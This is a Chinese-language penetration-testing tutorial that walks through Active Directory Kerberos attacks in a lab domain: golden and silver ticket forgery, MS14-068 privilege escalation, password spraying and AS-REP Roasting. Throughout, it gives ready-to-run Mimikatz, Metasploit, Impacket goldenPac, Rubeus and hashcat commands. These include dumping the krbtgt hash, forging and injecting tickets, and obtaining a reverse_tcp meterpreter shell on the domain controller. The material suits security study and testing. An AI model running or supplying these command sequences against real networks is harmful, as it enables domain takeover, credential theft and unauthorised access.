前言
往期文章:
内网渗透 | Kerberos 协议与 Kerberos 认证原理
在上一节中我们说到过,Kerberos 认证并不是天衣无缝的,这其中也会有各种漏洞能够被我们利用,比如我们常说的 MS14-068、黄金票据、白银票据等就是基于Kerberos协议进行攻击的。下面我们便详细的讲解一下 Kerberos 认证中的相关安全问题。
黄金票据(Golden ticket)
在 Windows 的 kerberos 认证过程中,Client 将自己的信息发送给 KDC,然后 KDC 使用 Krbtgt 用户的 NTLM 哈希作为密钥进行加密,生成 TGT。那么如果获取到了 Krbtgt 的 NTLM 哈希值,不就可以伪造任意的 TGT 了吗。因为 Krbtgt 只有域控制器上面才有,所以使用黄金凭据意味着你之前拿到过域控制器的权限,黄金凭据可以理解为一个后门。
利用 Krbtgt 的 Hash 值可以伪造生成任意的 TGT,能够绕过对任意用户的账号策略,让用户成为任意组的成员,可用于 Kerberos 认证的任何服务。
攻击者再使用黄金票据进行票据传递攻击时,通常要掌握以下信息:
•需要伪造的域管理员用户名•完整的域名•域 SID•krbtgt 的 NTLM 哈希值
实验环境如下:
域成员主机:Windows 7 •IP:192.168.93.20•域名:whoamianony.org•用户名:bunny 域控制器:Windows Server 2012 •IP:192.168.93.30•域名:whoamianony.org•用户名:administrator
假设有这么一种情况,原先攻击机已拿到的域内所有的账户 Hash,包括 Krbtgt 这个账户,由于有些原因导致你对域管权限丢失,但好在你还有一个普通域用户权限,碰巧管理员在域内加固时忘记重置 Krbtgt 密码,基于此条件,我们还能利用该票据重新获得域管理员权限。
Mimikatz 下的利用
首先,我们登上域控,上传 mimikatz,然后执行如下命令抓取 krbtgt 用户的 Hash 值并获取域sid:
代码语言:javascript复制privilege::debuglsadump::lsa /patch // 专用于在域控制器上导出用户密码或 hash
得到 krbtgt 用户的 Hash 和 域 SID 分别为:
•Hash 值:6be58bfcc0a164af2408d1d3bd313c2a•域 SID:为 S-1-5-21-1315137663-3706837544-1429009142
然后,我们切换到普通域用户的机器Windows 7,用 mimikatz 生成名为 ticket.kirbi 的 TGT 凭证,用户名为 administrator:
代码语言:javascript复制kerberos::golden /user:administrator /domain:whoamianony.org /sid:S-1-5-21-1315137663-3706837544-1429009142 /krbtgt:6be58bfcc0a164af2408d1d3bd313c2a /ticket:ticket.kirbi# kerberos::golden /user:需要伪造的域管理员用户名 /domain:域名 /sid:域sid /krbtgt: krbtgt用户的Hash /ticket:ticket.kirbi
如上图所示,成功生成 TGT 凭证 ticket.kirbi,名为 ticket.kirbi,然后使用 mimikatz 将凭证ticket.kirbi 注入进去:
代码语言:javascript复制kerberos::ptt ticket.kirbi#kerberos::ptt <票据文件>
此时我们可以执行以下来查看当前会话中的票据,就可以发现刚刚注入的票据在里面了:
代码语言:javascript复制kerberos::tgt
到此,注入成功。输入“exit”退出mimikatz,此时,攻击者就可以利用 Windows 7 任意访问域控了:
代码语言:javascript复制dir \DCc$
也可以使用 psexec,wmi 等方法对域控进行远程执行命令:
可见,黄金票据可以当做一个安装在普通域成员主机上的连接到域控的后门。
Metasploit 下的利用
在 Metasploit 中也有对应的利用模块。
首先我们需要让 Windows 7 上线一个 MSF 的会话:
然后再这个 meterpreter 中加载 kiwi 模块:
代码语言:javascript复制load kiwi
然后输入命令生成票据:
代码语言:javascript复制golden_ticket_create -d whoamianony.org -k 6be58bfcc0a164af2408d1d3bd313c2a -s S-1-5-21-1315137663-3706837544-1429009142 -u administrator -t /root/krbtgt.ticket# golden_ticket_create -d 域名 -k krbtgt用户的Hash -s 域sid -u 需要伪造的域管理员用户名 -t /root/krbtgt.ticketkerberos_ticket_list # 查看本地储存的票据kerberos_ticket_use /root/krbtgt.ticket # 将票据注入内存
如上图所示,成功注入黄金票据,此时进入 Shell 中可以成功查看 DC 中的文件:
代码语言:javascript复制dir \DCc$
白银票据(Silver ticket)
白银票据不同于黄金票据,白银票据的利用过程是伪造 TGS,通过已知的授权服务密码生成一张可以访问该服务的 TGT。因为在票据生成过程中不需要使用 KDC,所以可以绕过域控制器,很少留下日志。而黄金票据在利用过程中由 KDC 颁发 TGT,并且在生成伪造的 TGT 得20分钟内,TGS 不会对该 TGT 的真伪进行效验。
白银票据依赖于服务账号的密码散列值,这不同于黄金票据利用需要使用 krbtgt 账号的密码哈希值,因此更加隐蔽。
攻击者要利用白银票据进行票据传递攻击时,需要掌握下面几个信息:
•域名•域 SID•目标服务器的 FQDN•可利用的服务•服务账号的 NTLM 哈希值•要伪造的用户名
实验环境如下:
域成员主机:Windows 7 •IP:192.168.93.20•域名:whoamianony.org•用户名:bunny 域控制器:Windows Server 2012 •IP:192.168.93.30•域名:whoamianony.org•用户名:administrator
下面我们就使用白银票据来伪造 CIFS 服务权限,CIFS 服务通常用于Windows 主机之间的文件共享。
首先登录域控,抓取机器账号的哈希值:
代码语言:javascript复制privilege::debugsekurlsa::logonpasswords
这里的 NTLM 和 SHA1 都可以用。得到计算机账号的哈希为:6decb5d75eb5727d8535e67680b52571
(注意是 DC$ 用户的 NTLM 哈希,不是 Administrator 用户,因为要利用共享服务账号)
然后切换到普通域用户机器 Windows 7 中,使用 mimikatz 生成伪造的白银票据:
代码语言:javascript复制kerberos::golden /domain:whoamianony.org /sid:S-1-5-21-1315137663-3706837544-1429009142 /target:DC.whoamianony.org /rc4:6decb5d75eb5727d8535e67680b52571 /service:cifs /user:administrastor /ptt# kerberos::golden /domain:域名 /sid:域 SID /target:FQDN /rc4:server 机器的哈希 /service:可利用的服务 /user:要伪造的用户名 /ptt
注意这里的 /target
应为 FQDN 格式,即全称。
如上图所示,成功生成了伪造的白银票据,此时进行权限验证。如下,发现已经可以访问域控制器的共享目录了:
代码语言:javascript复制dir \DC.whoamianony.orgc$ // 机器名要全称,注意是全称
通常情况下,黄金票据和白银票据更适合做为一个安装在普通域成员主机上的连接到域控的后门。但在内网横向移动中也经常遇到他的身影,通过黄金票据和白银票据,我们可以通过当前那下的机器作为跳板使用 psexec、wmi 等方式对目标机执行命令,也可以将生成的木马复制到目标机器上,然后通过计划任务或服务等方式执行,最终是目标机上线。
MS14-068
这里就涉及到了我们上一节所讲到的 PAC 这个东西了。在上一节中,我们在关于 Kerberos 认证流程的介绍中提到了 PAC(Privilege Attribute Certificate)这个东西,这是微软为了访问控制而引进的一个扩展,即特权访问证书。
在 Kerberos 认证流程中,如果没有 PAC 的访问控制作用的话,只要用户的身份验证正确,那么就可以拿到 TGT,有了 TGT,就可以拿到 ST,有了 ST ,就可以访问服务了。此时任何一个经过身份验证的用户都可以访问任何服务。像这样的认证只解决了 "Who am i?" 的问题,而没有解决 "What can I do?" 的问题。
为了解决上面的这个问题,微软引进了PAC。即 KDC 向客户端 Client 返回 AS_REP
时插入了 PAC,PAC 中包含的是用户的 SID、用户所在的组等一些信息。当最后服务端 Server 收到 Client 发来的 AP_REQ
请求后,首先会对客户端身份验证。通过客户端身份验证后,服务器 Server 会拿着 PAC 去询问 DC 该用户是否有访问权限,DC 拿到 PAC 后进行解密,然后通过 PAC 中的 SID 判断用户的用户组信息、用户权限等信息,然后将结果返回给服务端,服务端再将此域用户请求的服务资源的 ACL 进行对比,最后决定是否给用户提供相关的服务。
但也恰恰是是这个 PAC,造成了 MS14-068 这个漏洞。该漏洞是位于 kdcsvc.dll 域控制器的密钥分发中心(KDC)服务中的 Windows 漏洞,它允许经过身份验证的用户在其获得的票证 TGT 中插入任意的 PAC 。普通用户可以通过呈现具有改变了 PAC 的 TGT 来伪造票据获得管理员权限。
攻击者要利用 MS14-068 这个漏洞提权时,需要掌握下面几个信息:
•域内任意用户SID•域内任意用户密码
实验环境如下:
域成员主机:Windows 7 •IP:192.168.93.20•域名:whoamianony.org•用户名:bunny 域控制器:Windows Server 2012 •IP:192.168.93.30•域名:whoamianony.org•用户名:administrator
利用 MS14-068.exe
•下载地址:https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
首先,我们需要在目标主机 Windows 7 上面获得一个任意域用户的 SID:
代码语言:javascript复制whoami /all
然后再 Windows 7 上传工具 ms14-068.exe,并执行如下命令生成 TGT 票据:
代码语言:javascript复制ms14-068.exe -u bunny@whoamianony.org -s S-1-5-21-1315137663-3706837544-1429009142-1112 -d 192.168.93.30 -p Bunny2021# ms14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器ip地址 -p 域成员密码
如上图所示,成功生成了一个名为 TGT_bunny@whoamianony.org.ccache
的票据文件,接下来要做的就是将该票据文件注入到 Windows 7 的内存中了。
在 Windows 7 上传 mimikatz,利用 mimikatz 将票据注入到当前内存中,伪造凭证:
代码语言:javascript复制kerberos::purge //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造kerberos::list //查看当前机器凭证kerberos::ptc <票据文件> //将票据注入到内存中
执行 klist
命令查看票据注入是否成功:
如上图,票据注入成功,此时,攻击者就可以利用 Windows 7 这个跳板机任意访问域中所有机器了,可以使用 net use 进行登录或者使用 psexec,wmi 等方法进行远程执行命令,后续的操作就和黄金票据一样了。
利用 ms14-068.py
在 Linux 环境下,我们可以通过 ms14-068.py 利用该漏洞,下载地址:https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek
使用方法与 ms14-068.exe 一样:
代码语言:javascript复制python ms14-068.py -u bunny@whoamianony.org -s S-1-5-21-1315137663-3706837544-1429009142-1112 -d 192.168.93.30 -p Bunny2021# python ms14-068.py -u 域用户名@域名 -s 域用户sid -d 域控ip -p域用户密码
利用 GoldenPac.py
这个是 Impacket 工具包里面的一个工具,是 ms14-068 与 psexec 结合的一个产物,利用起来十分顺手,并且该工具可以走代理进入内网,十分强大。
Kali 下面默认还没有安装 Kerberos 的认证功能,所以我们首先要安装一个 Kerberos 客户端:
代码语言:javascript复制apt-get install krb5-user
然后再使用 goldenPac.py 脚本:
代码语言:javascript复制python3 goldenPac.py -dc-ip 192.168.93.30 -target-ip 192.168.93.20 whoamianony.org/bunny:Bunny2021@dc.whoamianony.org# goldenPac.py -dc-ip 域控IP -target-ip 目标机IP 域名/普通域用户名:普通域用户密码@域控
执行成功后即可获得目标主机的一个 Shell。当然此工具不止是得到一个 Shell,我们甚至可以直接让该域控运行我们上传的程序,执行一个 Payload 啥的都不在话下。
Metasploit 下的利用
在 Metasploit 框架下,我们可以使用 auxiliary/admin/kerberos/ms14_068_kerberos_checksum
模块进行利用:
use auxiliary/admin/kerberos/ms14_068_kerberos_checksumset domain whoamianony.orgset user bunnyset password Bunny2021set rhosts 192.168.93.30 # 域控制器地址set user_sid S-1-5-21-1315137663-3706837544-1429009142-1112 # 域 SID
如上图所示,输入域名、被提权用户的密码、被提权用户、被提权用户的SID,域控制器的IP后,会在 /root/.msf4/loot 目录下生成票据文件 20210521104912_default_192.168.93.30_windows.kerberos_218042.bin
,但是我们还要进行对其格式转换,在 mimikatz 中输入命令,导出 kirbi 格式的文件:
kerberos::clist "20210521104912_default_192.168.93.30_windows.kerberos_218042.bin" /export
如上图所示,转换成了一个 0-00000000-bunny@krbtgt-WHOAMIANONY.ORG.kirbi
,我们将其移动到了 Kali 的 /root 目录下,一会好操作!
首先需要让 Windows 7 上线 MSF:
然后再这个 meterpreter 中加载 kiwi 模块:
代码语言:javascript复制load kiwi
然后输入命令导入刚才转换生成的票据:
代码语言:javascript复制kerberos_ticket_use /root/0-00000000-bunny@krbtgt-WHOAMIANONY.ORG.kirbi
如果成功的话就可以切换后台,使用模块进行高权限票据提权就行了:
代码语言:javascript复制use exploit/windows/local/current_user_psexecset technique PSHset rhosts 192.168.93.30 # 域控制器地址set payload windows/meterpreter/reverse_tcpset session 1exploit
密码喷洒攻击(Password Spraying)
在实际渗透中,许多渗透测试人员和攻击者通常都会使用一种被称为 “密码喷洒”(Password Spraying)的技术来进行测试和攻击。对密码进行喷洒式的攻击,这个叫法很形象,因为它属于自动化密码猜测的一种。这种针对所有用户的自动密码猜测通常是为了避免帐户被锁定,因为针对同一个用户的连续密码猜测会导致帐户被锁定。所以只有对所有用户同时执行特定的密码登录尝试,才能增加破解的概率,消除帐户被锁定的概率。普通的爆破就是用户名固定,爆破密码,但是密码喷洒,是用固定的密码去跑用户名。
下面我们演示一下 Password Spraying 的具体攻击思路与过程。
利用 DomainPasswordSpray
•项目地址:https://github.com/dafthack/DomainPasswordSpray
DomainPasswordSpray 是用 PowerShell 编写的工具,用于对域用户执行密码喷洒攻击。默认情况下,它将利用 LDAP 从域中导出用户列表,然后扣掉被锁定的用户,再用固定密码进行密码喷洒。
代码语言:javascript复制Import-Module .DomainPasswordSpray.ps1Invoke-DomainPasswordSpray -Password <密码>
如上图所示,枚举成功。
我们也可以指定一个密码字典进行喷洒:
代码语言:javascript复制Invoke-DomainPasswordSpray -PasswordList passlist.txtInvoke-DomainPasswordSpray -UserList users.txt -PasswordList passlist.txt
当主机不在域内时,我们可以通过 Get-DomainUserList 命令来枚举域内用户:
代码语言:javascript复制Import-Module .DomainPasswordSpray.ps1Get-DomainUserList -Domain whoamianony.org
然后将其保存在 users.txt 中通过 -UserList
选项进行枚举。
AS-REP Roasting
我们在上一篇文章中说过,AS_REQ & AS_REP 认证的过程是 Kerberos 身份认证的第一步,该过程又被称为预身份验证。预身份验证主要是为了防止密码脱机爆破。
而如果域用户设置了选项 "Do not require Kerberos preauthentication"(该选项默认没有开启)关闭了预身份验证的话:
攻击者可以使用指定的用户去请求票据,向域控制器发送 AS_REQ
请求,此时域控会不作任何验证便将 TGT 票据和加密的 Session-key 等信息返回。因此攻击者就可以对获取到的加密 Session-key 进行离线破解,如果爆破成功,就能得到该指定用户的明文密码。
这种攻击方式被称作 AS-REP Roasting 攻击。下面演示攻击过程。
利用 Rubeus.exe
•项目地址:https://github.com/GhostPack/Rubeus
首先我们使用 Rubeus 工具来寻找可以利用的用户并将其哈希值导出
代码语言:javascript复制Rubeus.exe asreproast
如上图所示,成功找到了可以利用的用户 bunny 并得到了该用户的哈希,然后我们使用 Hashcat 等工具对获得的 Hash 进行爆破就行了。
将哈希值保存到 hash.txt 中,并且修改为 Hashcat 能识别的格式,即在 krb5asrep 后面添加一个 23 拼接:
然后使用以下命令爆破就行了:
代码语言:javascript复制hashcat.exe -m 18200 hash.txt wordlists.txt --force
如下图所示,爆破成功,得到明文密码:
利用 Powerview.ps1
•项目地址:https://github.com/EmpireProject/Empire/
我们也可以利用 Empire 框架下的 powerview.ps1 查找域中设置了 "不需要kerberos预身份验证" 的用户
代码语言:javascript复制Import-Module .powerview.ps1Get-DomainUser -PreauthNotRequired
使用ASREPRoast.ps1获取AS-REP返回的Hash
•ASREPRoast.ps1 项目地址:https://github.com/HarmJ0y/ASREPRoast/
代码语言:javascript复制Import-Module .ASREPRoast.ps1Get-ASREPHash -UserName bunny -Domain whoamianony.org
然后就是像上面那样对哈希值进行爆破了。